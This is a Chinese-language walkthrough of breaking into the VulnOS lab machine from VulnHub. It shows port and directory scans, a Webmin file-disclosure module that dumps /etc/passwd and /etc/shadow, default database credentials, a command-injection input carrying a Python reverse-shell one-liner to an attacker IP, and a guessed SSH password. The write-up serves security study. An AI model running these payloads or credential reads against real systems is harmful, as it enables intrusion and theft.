下载地址
https://download.vulnhub.com/vulnos/VulnOS.vdi-vbox.7z实战演练
使用netdiscover命令查找靶机的IP
使用nmap查看靶机开放的端口
root@kali:~# nmap -sV -p1-65535 -A 192.168.0.102
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-09 09:13 EDT
Nmap scan report for 192.168.0.102
Host is up (0.00041s latency).
Not shown: 65507 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 43:a6:84:8d:be:1a:ee:fb:ed:c3:23:53:14:14:8f:50 (DSA)
|_ 2048 30:1d:2d:c4:9e:66:d8:bd:70:7c:48:84:fb:b9:7b:09 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: VulnOS.home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2019-08-09T13:13:59+00:00; 0s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_RC2_128_CBC_WITH_MD5
53/tcp open domain ISC BIND 9.7.0-P1
| dns-nsid:
|_ bind.version: 9.7.0-P1
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
|_http-server-header: Apache/2.2.14 (Ubuntu)
|_http-title: index
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES UIDL PIPELINING SASL TOP STLS CAPA
|_ssl-date: 2019-08-09T13:13:58+00:00; 0s from scanner time.
| sslv2:
| SSLv2 supported
|_ ciphers: none
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 32785/tcp mountd
| 100005 1,2,3 48076/udp mountd
| 100021 1,3,4 35096/tcp nlockmgr
| 100021 1,3,4 56305/udp nlockmgr
| 100024 1 37404/udp status
|_ 100024 1 43176/tcp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: SASL-IR SORT=DISPLAY THREAD=REFERENCES completed ID UIDPLUS UNSELECT LOGINDISABLEDA0001 LITERAL+ STARTTLS NAMESPACE WITHIN LIST-EXTENDED CONDSTORE SEARCHRES THREAD=REFS ESORT OK IDLE CHILDREN CONTEXT=SEARCH I18NLEVEL=1 Capability ENABLE MULTIAPPEND SORT ESEARCH LOGIN-REFERRALS QRESYNC IMAP4rev1
|_ssl-date: 2019-08-09T13:13:59+00:00; 0s from scanner time.
| sslv2:
| SSLv2 supported
|_ ciphers: none
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
901/tcp open http Samba SWAT administration server
| http-auth:
| HTTP/1.0 401 Authorization Required\x0D
|_ Basic realm=SWAT
|_http-title: 401 Authorization Required
993/tcp open ssl/imaps?
|_ssl-date: 2019-08-09T13:13:58+00:00; 0s from scanner time.
| sslv2:
| SSLv2 supported
|_ ciphers: none
995/tcp open ssl/pop3s?
|_ssl-date: 2019-08-09T13:13:59+00:00; 0s from scanner time.
| sslv2:
| SSLv2 supported
|_ ciphers: none
2000/tcp open sieve Dovecot timsieved
2049/tcp open nfs 2-4 (RPC #100003)
3306/tcp open mysql MySQL 5.1.73-0ubuntu0.10.04.1
| mysql-info:
| Protocol: 10
| Version: 5.1.73-0ubuntu0.10.04.1
| Thread ID: 312
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, InteractiveClient, Speaks41ProtocolOld, SupportsTransactions, Speaks41ProtocolNew, SupportsCompression, FoundRows, DontAllowDatabaseTableColumn, LongColumnFlag, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, LongPassword, SupportsLoadDataLocal, ODBCClient, ConnectWithDatabase
| Status: Autocommit
|_ Salt: JJv4?}zk,4bo,'~jv4;m
3632/tcp open tcpwrapped
6667/tcp open irc IRCnet ircd
| irc-info:
| users: 1
| servers: 1
| chans: 15
| lusers: 1
| lservers: 0
| server: irc.localhost
| version: 2.11.2p1. irc.localhost 000A
| uptime: 0 days, 0:04:40
| source ident: NONE or BLOCKED
| source host: 192.168.0.104
|_ error: Closing Link: aloqyhgqz[[email protected]] ("")
8070/tcp open ucs-isc?
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat
10000/tcp open http MiniServ 0.01 (Webmin httpd)
|_http-server-header: MiniServ/0.01
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
32785/tcp open mountd 1-3 (RPC #100005)
35096/tcp open nlockmgr 1-4 (RPC #100021)
43176/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:43:06:19 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Network Distance: 1 hop
Service Info: Hosts: VulnOS.home, irc.localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: VULNOS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 0.41 ms 192.168.0.102
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 170.78 seconds连接telnet，看看能不能匿名登录，发现无法匿名登录
查看80端口，爆破目录
root@kali:~# dirb http://192.168.0.102
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Aug 9 09:58:11 2019
URL_BASE: http://192.168.0.102/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.0.102/ ----
+ http://192.168.0.102/.htaccess (CODE:200|SIZE:501)
+ http://192.168.0.102/cgi-bin/ (CODE:403|SIZE:289)
==> DIRECTORY: http://192.168.0.102/imgs/
+ http://192.168.0.102/index (CODE:200|SIZE:745)
+ http://192.168.0.102/index.html (CODE:200|SIZE:745)
+ http://192.168.0.102/index2 (CODE:200|SIZE:1066)
==> DIRECTORY: http://192.168.0.102/javascript/
==> DIRECTORY: http://192.168.0.102/mediawiki/
==> DIRECTORY: http://192.168.0.102/phpldapadmin/
==> DIRECTORY: http://192.168.0.102/phpmyadmin/
==> DIRECTORY: http://192.168.0.102/phppgadmin/
+ http://192.168.0.102/server-status (CODE:403|SIZE:294)
---- Entering directory: http://192.168.0.102/imgs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.0.102/javascript/ ----
==> DIRECTORY: http://192.168.0.102/javascript/jquery/
---- Entering directory: http://192.168.0.102/mediawiki/ ----
==> DIRECTORY: http://192.168.0.102/mediawiki/config/
==> DIRECTORY: http://192.168.0.102/mediawiki/extensions/
==> DIRECTORY: http://192.168.0.102/mediawiki/images/
+ http://192.168.0.102/mediawiki/includes (CODE:403|SIZE:299)
+ http://192.168.0.102/mediawiki/index.php (CODE:301|SIZE:0)
+ http://192.168.0.102/mediawiki/languages (CODE:403|SIZE:300)
+ http://192.168.0.102/mediawiki/maintenance (CODE:403|SIZE:302)
==> DIRECTORY: http://192.168.0.102/mediawiki/skins/
---- Entering directory: http://192.168.0.102/phpldapadmin/ ----
==> DIRECTORY: http://192.168.0.102/phpldapadmin/css/
==> DIRECTORY: http://192.168.0.102/phpldapadmin/images/
+ http://192.168.0.102/phpldapadmin/index.php (CODE:200|SIZE:4731)
==> DIRECTORY: http://192.168.0.102/phpldapadmin/js/
---- Entering directory: http://192.168.0.102/phpmyadmin/ ----
+ http://192.168.0.102/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)
+ http://192.168.0.102/phpmyadmin/index.php (CODE:200|SIZE:8625)
==> DIRECTORY: http://192.168.0.102/phpmyadmin/js/
==> DIRECTORY: http://192.168.0.102/phpmyadmin/lang/
+ http://192.168.0.102/phpmyadmin/libraries (CODE:403|SIZE:301)
+ http://192.168.0.102/phpmyadmin/phpinfo.php (CODE:200|SIZE:0)
+ http://192.168.0.102/phpmyadmin/setup (CODE:401|SIZE:480)
==> DIRECTORY: http://192.168.0.102/phpmyadmin/themes/
---- Entering directory: http://192.168.0.102/phppgadmin/ ----
==> DIRECTORY: http://192.168.0.102/phppgadmin/classes/
==> DIRECTORY: http://192.168.0.102/phppgadmin/conf/
==> DIRECTORY: http://192.168.0.102/phppgadmin/help/
==> DIRECTORY: http://192.168.0.102/phppgadmin/images/
+ http://192.168.0.102/phppgadmin/index.php (CODE:200|SIZE:1012)
+ http://192.168.0.102/phppgadmin/info.php (CODE:200|SIZE:19)
==> DIRECTORY: http://192.168.0.102/phppgadmin/lang/
==> DIRECTORY: http://192.168.0.102/phppgadmin/libraries/
+ http://192.168.0.102/phppgadmin/robots.txt (CODE:200|SIZE:221)
==> DIRECTORY: http://192.168.0.102/phppgadmin/sql/
==> DIRECTORY: http://192.168.0.102/phppgadmin/themes/
---- Entering directory: http://192.168.0.102/javascript/jquery/ ----
+ http://192.168.0.102/javascript/jquery/jquery (CODE:200|SIZE:120653)
---- Entering directory: http://192.168.0.102/mediawiki/config/ ----
+ http://192.168.0.102/mediawiki/config/index.php (CODE:200|SIZE:3009)
---- Entering directory: http://192.168.0.102/mediawiki/extensions/ ----
+ http://192.168.0.102/mediawiki/extensions/README (CODE:200|SIZE:583)
---- Entering directory: http://192.168.0.102/mediawiki/images/ ----
---- Entering directory: http://192.168.0.102/mediawiki/skins/ ----
==> DIRECTORY: http://192.168.0.102/mediawiki/skins/common/
==> DIRECTORY: http://192.168.0.102/mediawiki/skins/disabled/
==> DIRECTORY: http://192.168.0.102/mediawiki/skins/simple/
---- Entering directory: http://192.168.0.102/phpldapadmin/css/ ----
==> DIRECTORY: http://192.168.0.102/phpldapadmin/css/default/
---- Entering directory: http://192.168.0.102/phpldapadmin/images/ ----
==> DIRECTORY: http://192.168.0.102/phpldapadmin/images/default/
+ http://192.168.0.102/phpldapadmin/images/favicon.ico (CODE:200|SIZE:902)
---- Entering directory: http://192.168.0.102/phpldapadmin/js/ ----
---- Entering directory: http://192.168.0.102/phpmyadmin/js/ ----
---- Entering directory: http://192.168.0.102/phpmyadmin/lang/ ----
---- Entering directory: http://192.168.0.102/phpmyadmin/themes/ ----
==> DIRECTORY: http://192.168.0.102/phpmyadmin/themes/original/
---- Entering directory: http://192.168.0.102/phppgadmin/classes/ ----
==> DIRECTORY: http://192.168.0.102/phppgadmin/classes/database/
==> DIRECTORY: http://192.168.0.102/phppgadmin/classes/plugins/
---- Entering directory: http://192.168.0.102/phppgadmin/conf/ ----
---- Entering directory: http://192.168.0.102/phppgadmin/help/ ----
---- Entering directory: http://192.168.0.102/phppgadmin/images/ ----
==> DIRECTORY: http://192.168.0.102/phppgadmin/images/themes/
---- Entering directory: http://192.168.0.102/phppgadmin/lang/ ----
+ http://192.168.0.102/phppgadmin/lang/Makefile (CODE:200|SIZE:7373)
---- Entering directory: http://192.168.0.102/phppgadmin/libraries/ ----
==> DIRECTORY: http://192.168.0.102/phppgadmin/libraries/adodb/
---- Entering directory: http://192.168.0.102/phppgadmin/sql/ ----
---- Entering directory: http://192.168.0.102/phppgadmin/themes/ ----
==> DIRECTORY: http://192.168.0.102/phppgadmin/themes/default/
---- Entering directory: http://192.168.0.102/mediawiki/skins/common/ ----
==> DIRECTORY: http://192.168.0.102/mediawiki/skins/common/images/
---- Entering directory: http://192.168.0.102/mediawiki/skins/disabled/ ----
---- Entering directory: http://192.168.0.102/mediawiki/skins/simple/ ----
---- Entering directory: http://192.168.0.102/phpldapadmin/css/default/ ----
---- Entering directory: http://192.168.0.102/phpldapadmin/images/default/ ----
+ http://192.168.0.102/phpldapadmin/images/default/index.php (CODE:200|SIZE:19434)
---- Entering directory: http://192.168.0.102/phpmyadmin/themes/original/ ----
==> DIRECTORY: http://192.168.0.102/phpmyadmin/themes/original/css/
==> DIRECTORY: http://192.168.0.102/phpmyadmin/themes/original/img/
---- Entering directory: http://192.168.0.102/phppgadmin/classes/database/ ----
---- Entering directory: http://192.168.0.102/phppgadmin/classes/plugins/ ----
---- Entering directory: http://192.168.0.102/phppgadmin/images/themes/ ----
==> DIRECTORY: http://192.168.0.102/phppgadmin/images/themes/default/
---- Entering directory: http://192.168.0.102/phppgadmin/libraries/adodb/ ----
==> DIRECTORY: http://192.168.0.102/phppgadmin/libraries/adodb/drivers/
==> DIRECTORY: http://192.168.0.102/phppgadmin/libraries/adodb/lang/
---- Entering directory: http://192.168.0.102/phppgadmin/themes/default/ ----
---- Entering directory: http://192.168.0.102/mediawiki/skins/common/images/ ----
==> DIRECTORY: http://192.168.0.102/mediawiki/skins/common/images/ar/
==> DIRECTORY: http://192.168.0.102/mediawiki/skins/common/images/de/
==> DIRECTORY: http://192.168.0.102/mediawiki/skins/common/images/fa/
==> DIRECTORY: http://192.168.0.102/mediawiki/skins/common/images/icons/
---- Entering directory: http://192.168.0.102/phpmyadmin/themes/original/css/ ----
---- Entering directory: http://192.168.0.102/phpmyadmin/themes/original/img/ ----
---- Entering directory: http://192.168.0.102/phppgadmin/images/themes/default/ ----
---- Entering directory: http://192.168.0.102/phppgadmin/libraries/adodb/drivers/ ----
---- Entering directory: http://192.168.0.102/phppgadmin/libraries/adodb/lang/ ----
---- Entering directory: http://192.168.0.102/mediawiki/skins/common/images/ar/ ----
---- Entering directory: http://192.168.0.102/mediawiki/skins/common/images/de/ ----
---- Entering directory: http://192.168.0.102/mediawiki/skins/common/images/fa/ ----
---- Entering directory: http://192.168.0.102/mediawiki/skins/common/images/icons/ ----
-----------------
END_TIME: Fri Aug 9 10:00:19 2019
DOWNLOADED: 212152 - FOUND: 25看到apache2的版本为2.2.14，搜一下版本漏洞，这个漏洞没用
受影响的资产仅在运行以下模块之一时才容易受到此漏洞的影响：mod_isapi。查看Web服务器配置以进行验证。在mod_isapi中发现了一个缺陷，它会在遇到各种错误状态时尝试卸载ISAPI dll。这可能会使回调处于未定义状态并导致段错误。在使用mod_isapi的Windows平台上，远程攻击者可能发送恶意请求以触发此问题，并且由于win32 MPM仅运行一个进程，这将导致拒绝服务，并可能允许任意代码执行。
其他端口的漏洞都测试了一遍，没找到什么。
直到10000端口，有个文件泄露的漏洞
msf5 exploit(linux/smtp/exim4_dovecot_exec) > use auxiliary/admin/webmin/file_disclosure
msf5 auxiliary(admin/webmin/file_disclosure) > show options
Module options (auxiliary/admin/webmin/file_disclosure):
Name Current Setting Required Description
---- --------------- -------- -----------
DIR /unauthenticated yes Webmin directory path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPATH /etc/passwd yes The file to download
RPORT 10000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
Download
msf5 auxiliary(admin/webmin/file_disclosure) > set RHOSTS 192.168.0.102
RHOSTS => 192.168.0.102
msf5 auxiliary(admin/webmin/file_disclosure) > run
[*] Attempting to retrieve /etc/passwd...
[*] The server returned: 200 Document follows
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
landscape:x:102:108::/var/lib/landscape:/bin/false
vulnosadmin:x:1000:1000:vulnosadmin,,,:/home/vulnosadmin:/bin/bash
sysadmin:x:1001:1001::/home/sysadmin:/bin/sh
webmin:x:1002:1002::/home/webmin:/bin/sh
hackme:x:1003:1003::/home/hackme:/bin/sh
sa:x:1004:1004::/home/sa:/bin/sh
stupiduser:x:1005:1005::/home/stupiduser:/bin/sh
messagebus:x:103:112::/var/run/dbus:/bin/false
distccd:x:104:65534::/:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
openldap:x:106:113:OpenLDAP Server Account,,,:/nonexistent:/bin/false
ftp:x:1006:1006::/home/ftp:/bin/sh
mysql:x:107:115:MySQL Server,,,:/var/lib/mysql:/bin/false
telnetd:x:108:116::/nonexistent:/bin/false
bind:x:109:117::/var/cache/bind:/bin/false
postgres:x:110:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
postfix:x:111:119::/var/spool/postfix:/bin/false
dovecot:x:112:121:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
tomcat6:x:113:122::/usr/share/tomcat6:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:123::/var/lib/snmp:/bin/false
nagios:x:116:124::/var/lib/nagios:/bin/false
openerp:x:117:125:Open ERP server,,,:/home/openerp:/bin/false
[*] Auxiliary module execution completed
现在有两种思路，一是暴力破解shadow文件，二是找文件进而查看文件
爆破密码，不过爆破失败了
msf5 auxiliary(admin/webmin/file_disclosure) > set RPATH /etc/shadow
RPATH => /etc/shadow
msf5 auxiliary(admin/webmin/file_disclosure) > run
[*] Attempting to retrieve /etc/shadow...
[*] The server returned: 200 Document follows
root:*:16137:0:99999:7:::
daemon:*:16137:0:99999:7:::
bin:*:16137:0:99999:7:::
sys:*:16137:0:99999:7:::
sync:*:16137:0:99999:7:::
games:*:16137:0:99999:7:::
man:*:16137:0:99999:7:::
lp:*:16137:0:99999:7:::
mail:*:16137:0:99999:7:::
news:*:16137:0:99999:7:::
uucp:*:16137:0:99999:7:::
proxy:*:16137:0:99999:7:::
www-data:*:16137:0:99999:7:::
backup:*:16137:0:99999:7:::
list:*:16137:0:99999:7:::
irc:*:16137:0:99999:7:::
gnats:*:16137:0:99999:7:::
nobody:*:16137:0:99999:7:::
libuuid:!:16137:0:99999:7:::
syslog:*:16137:0:99999:7:::
landscape:*:16137:0:99999:7:::
vulnosadmin:$6$SLXu95CH$pVAdp447R4MEFKtHrWcDV7WIBuiP2Yp0NJTVPyg37K9U11SFuLena8p.xbnSVJFAeg1WO28ljNAPrlXaghLmo/:16137:0:99999:7:::
sysadmin:admin:16137:0:99999:7:::
webmin:webmin:16137:0:99999:7:::
hackme:hackme:16137:0:99999:7:::
sa:password1:16137:0:99999:7:::
stupiduser:stupiduser:16137:0:99999:7:::
messagebus:*:16137:0:99999:7:::
distccd:*:16137:0:99999:7:::
sshd:*:16138:0:99999:7:::
openldap:!:16138:0:99999:7:::
ftp:!:16138:0:99999:7:::
mysql:!:16138:0:99999:7:::
telnetd:*:16138:0:99999:7:::
bind:*:16138:0:99999:7:::
postgres:*:16138:0:99999:7:::
postfix:*:16138:0:99999:7:::
dovecot:*:16138:0:99999:7:::
tomcat6:*:16138:0:99999:7:::
statd:*:16138:0:99999:7:::
snmp:*:16138:0:99999:7:::
nagios:!:16140:0:99999:7:::
openerp:*:16140:0:99999:7:::
[*] Auxiliary module execution completed
文件泄露，找到的只是无关紧要的东西。
后来，我在phpmyadmin输入默认密码toor就直接进去=-=好儿戏的靶机，想写一句话木马，发现没有写的权限
仔细研究数据库，找到一个dvwa的靶场=-=
在输入框输入
0 && python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.104',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
找到了这个文件，然后搜一下这个是什么密码 
但是在passwd没有这个账号，我们将这个密码添加到字典上面，我们可以看到在passwd上有个用户叫hackme，根据社会工程学有没有可能密码是canuhackme呢？
登录成功
来源：freebuf.com 2019-08-09 22:59:52 by: 陌度
正文完